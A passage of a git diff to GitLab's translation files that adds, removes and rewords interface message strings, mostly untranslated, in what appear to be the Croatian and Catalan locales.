msgid "Snippets|File"
msgstr ""
+msgid "Snippets|Files"
+msgstr ""
+
msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
msgstr ""
@@ -22627,6 +23275,9 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
msgid "Something went wrong when toggling the button"
msgstr ""
@@ -22756,10 +23407,10 @@ msgstr ""
msgid "Something went wrong, unable to add projects to dashboard"
msgstr ""
-msgid "Something went wrong, unable to get projects"
+msgid "Something went wrong, unable to delete project"
msgstr ""
-msgid "Something went wrong, unable to remove project"
+msgid "Something went wrong, unable to get projects"
msgstr ""
msgid "Something went wrong, unable to search projects"
@@ -23656,6 +24307,9 @@ msgstr ""
msgid "Switch to the source to copy the file contents"
msgstr ""
+msgid "Symbolic link"
+msgstr ""
+
msgid "Sync information"
msgstr ""
@@ -23704,6 +24358,9 @@ msgstr ""
msgid "Tag name"
msgstr ""
+msgid "Tag name is required"
+msgstr ""
+
msgid "Tag this commit."
msgstr ""
@@ -23716,6 +24373,9 @@ msgstr ""
msgid "Tags"
msgstr ""
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
msgid "Tags feed"
msgstr ""
@@ -23899,6 +24559,12 @@ msgstr ""
msgid "Test"
msgstr ""
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
msgid "Test coverage parsing"
msgstr ""
@@ -23968,9 +24634,6 @@ msgstr ""
msgid "TestReports|There was an error fetching the summary."
msgstr ""
-msgid "TestReports|There was an error fetching the test reports."
-msgstr ""
-
msgid "TestReports|There was an error fetching the test suite."
msgstr ""
@@ -24007,16 +24670,13 @@ msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
-msgid "The %{true_up_link_start}true-up model%{link_end} has a retroactive charge for these users at the next renewal. If you want to update your license sooner to prevent this, %{support_link_start}please contact our Support team%{link_end}."
-msgstr ""
-
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "The Advanced Global Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
@@ -24043,6 +24703,9 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
@@ -24073,6 +24736,9 @@ msgstr ""
msgid "The commit does not exist"
msgstr ""
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -24127,6 +24793,12 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "The following items will NOT be exported:"
msgstr ""
@@ -24229,13 +24901,13 @@ msgstr ""
msgid "The number of changes to be fetched from GitLab when cloning a repository. This can speed up Pipelines execution. Keep empty or set to 0 to disable shallow clone by default and make GitLab CI fetch all branches and tags each time."
msgstr ""
-msgid "The number of merge requests merged to the master branch by month."
+msgid "The number of merge requests merged by month."
msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
-msgid "The one place for your designs"
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
@@ -24274,6 +24946,9 @@ msgstr ""
msgid "The project can be accessed without any authentication."
msgstr ""
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
msgstr ""
@@ -24391,6 +25066,9 @@ msgstr ""
msgid "There are currently no events."
msgstr ""
+msgid "There are merge conflicts"
+msgstr ""
+
msgid "There are no %{replicableTypeName} to show"
msgstr ""
@@ -24466,12 +25144,15 @@ msgstr ""
msgid "There is already a repository with that name on disk"
msgstr ""
-msgid "There is no data available."
+msgid "There is no chart data available."
msgstr ""
msgid "There is no data available. Please change your selection."
msgstr ""
+msgid "There is no table data available."
+msgstr ""
+
msgid "There is too much data to calculate. Please change your selection."
msgstr ""
@@ -24484,6 +25165,9 @@ msgstr ""
msgid "There was a problem fetching labels."
msgstr ""
+msgid "There was a problem fetching milestones."
+msgstr ""
+
msgid "There was a problem fetching project branches."
msgstr ""
@@ -24634,19 +25318,19 @@ msgstr ""
msgid "There was an error when unsubscribing from this label."
msgstr ""
-msgid "There was an error while fetching value stream analytics data."
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration data."
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration median data."
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
msgstr ""
-msgid "There was an error while fetching value stream analytics recent activity data."
+msgid "There was an error while fetching value stream analytics data."
msgstr ""
-msgid "There was an error while fetching value stream analytics time summary data."
+msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
@@ -24670,6 +25354,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuableType} is confidential"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -24700,7 +25387,7 @@ msgstr ""
msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr ""
-msgid "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc."
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
msgstr ""
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
@@ -24874,9 +25561,6 @@ msgstr ""
msgid "This is your current session"
msgstr ""
-msgid "This issue is confidential"
-msgstr ""
-
msgid "This issue is currently blocked by the following issues: %{issues}."
msgstr ""
@@ -25039,15 +25723,15 @@ msgstr ""
msgid "This project does not have a wiki homepage yet"
msgstr ""
-msgid "This project does not have billing enabled. To create a cluster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">enable billing <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> and try again."
-msgstr ""
-
msgid "This project has no active access tokens."
msgstr ""
msgid "This project is archived and cannot be commented on."
msgstr ""
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
msgid "This project path either does not exist or you do not have access."
msgstr ""
@@ -25108,6 +25792,9 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
msgid "This will help us personalize your onboarding experience."
msgstr ""
@@ -25483,9 +26170,6 @@ msgstr ""
msgid "To define internal users, first enable new users set to external"
msgstr ""
-msgid "To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}."
-msgstr ""
-
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr ""
@@ -25570,9 +26254,15 @@ msgstr ""
msgid "To unsubscribe from this issue, please paste the following link into your browser:"
msgstr ""
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
msgstr ""
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
msgstr ""
@@ -25594,9 +26284,6 @@ msgstr ""
msgid "Today"
msgstr "Danas"
-msgid "Toggle Kubernetes cluster"
-msgstr ""
-
msgid "Toggle Markdown preview"
msgstr ""
@@ -25657,6 +26344,9 @@ msgstr ""
msgid "Toggles :%{name}: emoji award."
msgstr ""
+msgid "Token valid until revoked"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -25801,6 +26491,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger manual job"
+msgstr ""
+
msgid "Trigger pipelines for mirror updates"
msgstr ""
@@ -25870,9 +26563,18 @@ msgstr ""
msgid "Turn On"
msgstr ""
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
msgid "Turn on Service Desk"
msgstr ""
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
msgid "Twitter"
msgstr ""
@@ -25888,10 +26590,22 @@ msgstr ""
msgid "Two-factor Authentication Recovery codes"
msgstr ""
-msgid "Two-factor Authentication has been disabled for this user"
+msgid "Two-factor authentication"
msgstr ""
-msgid "Two-factor authentication"
+msgid "Two-factor authentication disabled"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
msgstr ""
msgid "Type"
@@ -26074,7 +26788,7 @@ msgstr ""
msgid "Unlock the discussion"
msgstr ""
-msgid "Unlock this %{issuableDisplayName}? <strong>Everyone</strong> will be able to comment."
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
msgstr ""
msgid "Unlocked"
@@ -26164,6 +26878,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused, previous index '%{index_name}' will be deleted after %{time} automatically."
+msgstr ""
+
msgid "Unverified"
msgstr ""
@@ -26245,9 +26962,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated at"
-msgstr ""
-
msgid "Updated to %{linkStart}chart v%{linkEnd}"
msgstr ""
@@ -26263,7 +26977,7 @@ msgstr ""
msgid "Upgrade your plan"
msgstr ""
-msgid "Upgrade your plan to activate Advanced Global Search."
+msgid "Upgrade your plan to activate Advanced Search."
msgstr ""
msgid "Upgrade your plan to activate Audit Events."
@@ -26338,7 +27052,7 @@ msgstr ""
msgid "Usage"
msgstr ""
-msgid "Usage ping is not enabled"
+msgid "Usage ping is off"
msgstr ""
msgid "Usage statistics"
@@ -26428,9 +27142,6 @@ msgstr ""
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
msgstr ""
-msgid "Use %{native_redirect_uri} for local tests"
-msgstr ""
-
msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
msgstr ""
@@ -26482,9 +27193,6 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
-msgid "User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled."
-msgstr ""
-
msgid "User IDs"
msgstr ""
@@ -26728,9 +27436,15 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
+msgid "Users requesting access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
msgid "Users were successfully added."
msgstr ""
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
msgstr ""
@@ -26764,6 +27478,9 @@ msgstr ""
msgid "Validate"
msgstr ""
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
msgid "Validate your GitLab CI configuration file"
msgstr ""
@@ -26800,6 +27517,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
msgid "Variable"
msgstr ""
@@ -26842,6 +27562,12 @@ msgstr ""
msgid "Version"
msgstr ""
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
msgid "View Documentation"
msgstr ""
@@ -27046,6 +27772,9 @@ msgstr ""
msgid "Vulnerabilities over time"
msgstr ""
+msgid "Vulnerability Report"
+msgstr ""
+
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
@@ -27109,9 +27838,6 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
msgstr ""
-msgid "VulnerabilityManagement|Something went wrong, could not create an issue."
-msgstr ""
-
msgid "VulnerabilityManagement|Something went wrong, could not get user."
msgstr ""
@@ -27253,7 +27979,7 @@ msgstr ""
msgid "We sent you an email with reset password instructions"
msgstr ""
-msgid "We tried to automatically renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
msgstr ""
msgid "We want to be sure it is you, please confirm you are not a robot."
@@ -27298,6 +28024,90 @@ msgstr ""
msgid "Webhooks have moved. They can now be found under the Settings menu."
msgstr ""
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
msgid "Wednesday"
msgstr "Srijeda"
@@ -27319,21 +28129,21 @@ msgstr ""
msgid "Welcome to GitLab"
msgstr ""
-msgid "Welcome to GitLab %{name}!"
+msgid "Welcome to GitLab%{br_tag}%{name}!"
msgstr ""
msgid "Welcome to GitLab, %{first_name}!"
msgstr ""
-msgid "Welcome to GitLab.com%{br_tag}@%{name}!"
-msgstr ""
-
msgid "Welcome to the guided GitLab tour"
msgstr ""
msgid "Welcome to your Issue Board!"
msgstr ""
+msgid "Welcome to your issue board!"
+msgstr ""
+
msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
msgstr ""
@@ -27343,6 +28153,9 @@ msgstr ""
msgid "What describes you best?"
msgstr ""
+msgid "What's new at GitLab"
+msgstr ""
+
msgid "What’s your experience level?"
msgstr ""
@@ -27661,10 +28474,10 @@ msgstr ""
msgid "You are connected to the Prometheus server, but there is currently no data to display."
msgstr ""
-msgid "You are going to remove %{group_name}, this will also remove all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
-msgid "You are going to remove %{project_full_name}. Removed project CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
@@ -27673,6 +28486,12 @@ msgstr ""
msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
msgstr ""
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on the confidentiality. This means that only team members with %{strongStart}at least Reporter access%{strongEnd} are able to see and leave comments on the %{issuableType}."
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -27682,6 +28501,9 @@ msgstr ""
msgid "You are not authorized to perform this action"
msgstr ""
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
msgid "You are now impersonating %{username}"
msgstr ""
@@ -27718,9 +28540,6 @@ msgstr ""
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
-msgid "You can also use project access tokens to authenticate against Git over HTTP."
-msgstr ""
-
msgid "You can always edit this later"
msgstr ""
@@ -27754,13 +28573,13 @@ msgstr ""
msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong> or invite another group."
+msgid "You can invite a new member to %{project_name} or invite another group."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong>."
+msgid "You can invite a new member to %{project_name}."
msgstr ""
-msgid "You can invite another group to <strong>%{project_name}</strong>."
+msgid "You can invite another group to %{project_name}."
msgstr ""
msgid "You can move around the graph by using the arrow keys."
@@ -27844,10 +28663,10 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription so it was downgraded to the GitLab Core Plan."
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
msgstr ""
msgid "You do not have an active license"
@@ -28060,6 +28879,9 @@ msgstr ""
msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
msgstr ""
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "You'll be signed out from your current account automatically."
msgstr ""
@@ -28135,7 +28957,7 @@ msgstr ""
msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
msgstr ""
-msgid "Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -28252,6 +29074,9 @@ msgstr ""
msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
msgstr ""
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
msgid "Your instance is approaching its licensed user count"
msgstr ""
@@ -28381,6 +29206,9 @@ msgstr ""
msgid "among other things"
msgstr ""
+msgid "and"
+msgstr ""
+
msgid "any-approver for the merge request already exists"
msgstr ""
@@ -28684,12 +29512,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "confidentiality|You are going to turn off the confidentiality. This means <strong>everyone</strong> will be able to see and leave a comment on this issue."
-msgstr ""
-
-msgid "confidentiality|You are going to turn on the confidentiality. This means that only team members with <strong>at least Reporter access</strong> are able to see and leave comments on the issue."
-msgstr ""
-
msgid "connecting"
msgstr ""
@@ -28849,6 +29671,12 @@ msgstr ""
msgid "from"
msgstr ""
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "group"
msgstr "grupa"
@@ -28894,9 +29722,6 @@ msgstr ""
msgid "in project %{link_to_project}"
msgstr ""
-msgid "index"
-msgstr ""
-
msgid "instance completed"
msgid_plural "instances completed"
msgstr[0] ""
@@ -28939,6 +29764,9 @@ msgstr ""
msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
msgstr ""
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
msgid "is not an email you own"
msgstr ""
@@ -29089,9 +29917,15 @@ msgstr ""
msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
msgstr ""
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
msgid "mrWidget|Added to the merge train by"
msgstr ""
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
msgid "mrWidget|Allows commits from members who can merge to the target branch"
msgstr ""
@@ -29104,6 +29938,9 @@ msgstr ""
msgid "mrWidget|An error occurred while submitting your approval."
msgstr ""
+msgid "mrWidget|Approval is optional"
+msgstr ""
+
msgid "mrWidget|Approval password is invalid."
msgstr ""
@@ -29176,9 +30013,6 @@ msgstr ""
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
-msgid "mrWidget|In the merge train at position %{mergeTrainPosition}"
-msgstr ""
-
msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
@@ -29212,12 +30046,6 @@ msgstr ""
msgid "mrWidget|More information"
msgstr ""
-msgid "mrWidget|No approval required"
-msgstr ""
-
-msgid "mrWidget|No approval required; you can still approve"
-msgstr ""
-
msgid "mrWidget|Open in Web IDE"
msgstr ""
@@ -29299,19 +30127,19 @@ msgstr ""
msgid "mrWidget|There are merge conflicts"
msgstr ""
-msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request is in the process of being merged"
+msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
msgstr ""
-msgid "mrWidget|This merge request will be added to the merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|This merge request will start a merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request is in the process of being merged"
msgstr ""
msgid "mrWidget|This project is archived, write access has been disabled"
@@ -29527,6 +30355,9 @@ msgstr ""
msgid "quick actions"
msgstr ""
+msgid "recent activity"
+msgstr ""
+
msgid "register"
msgstr ""
@@ -29572,9 +30403,6 @@ msgstr ""
msgid "satisfied"
msgstr ""
-msgid "score"
-msgstr ""
-
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -29692,6 +30520,9 @@ msgstr ""
msgid "this document"
msgstr ""
+msgid "time summary"
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -29710,6 +30541,9 @@ msgstr ""
msgid "triggered"
msgstr ""
+msgid "two-factor authentication settings"
+msgstr ""
+
msgid "unicode domains should use IDNA encoding"
msgstr ""
@@ -29773,6 +30607,9 @@ msgstr ""
msgid "vulnerability|Add comment & dismiss"
msgstr ""
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
msgid "vulnerability|Dismiss vulnerability"
msgstr ""
diff --git a/locale/ca_ES/gitlab.po b/locale/ca_ES/gitlab.po
index 1430be805a4..d35b4a25cf7 100644
--- a/locale/ca_ES/gitlab.po
+++ b/locale/ca_ES/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: ca\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-08-06 13:44\n"
+"PO-Revision-Date: 2020-09-04 23:07\n"
msgid " %{start} to %{end}"
msgstr " Des de %{start} fins %{end}"
@@ -56,14 +56,14 @@ msgstr[1] " millorat en %d punts"
msgid " or "
msgstr " o "
-msgid " or <!merge request id>"
-msgstr " o <!merge request id>"
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
+msgstr ""
-msgid " or <#issue id>"
-msgstr " o <#issue id>"
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
+msgstr ""
-msgid " or <&epic id>"
-msgstr " o <&epic id>"
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
+msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
msgstr " o referències (per ex. el camí/al/projecte!merge_request_id)"
@@ -71,6 +71,9 @@ msgstr " o referències (per ex. el camí/al/projecte!merge_request_id)"
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr "\"%{path}\" no existeix a \"%{ref}\""
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
msgstr[0] ""
@@ -297,6 +300,9 @@ msgstr[1] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{address} is an invalid IP address range"
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
@@ -333,6 +339,9 @@ msgstr ""
msgid "%{cores} cores"
msgstr ""
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
msgid "%{count} LOC/commit"
msgstr ""
@@ -389,6 +398,9 @@ msgstr ""
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr ""
+msgid "%{due_date} (Past due)"
+msgstr ""
+
msgid "%{duration}ms"
msgstr ""
@@ -416,7 +428,7 @@ msgstr ""
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr ""
-msgid "%{global_id} is not a valid id for %{expected_type}."
+msgid "%{global_id} is not a valid ID for %{expected_type}."
msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
@@ -503,9 +515,6 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
-msgstr ""
-
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
@@ -524,6 +533,9 @@ msgstr ""
msgid "%{loadingIcon} Started"
msgstr ""
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr ""
@@ -533,6 +545,18 @@ msgstr ""
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr ""
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
msgid "%{mrText}, this issue will be closed automatically."
msgstr ""
@@ -645,6 +669,9 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
msgstr ""
+msgid "%{seconds}s"
+msgstr ""
+
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
msgstr[0] ""
@@ -670,6 +697,9 @@ msgstr "%{size} MiB"
msgid "%{size} bytes"
msgstr "%{size} bytes"
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr ""
@@ -685,6 +715,9 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
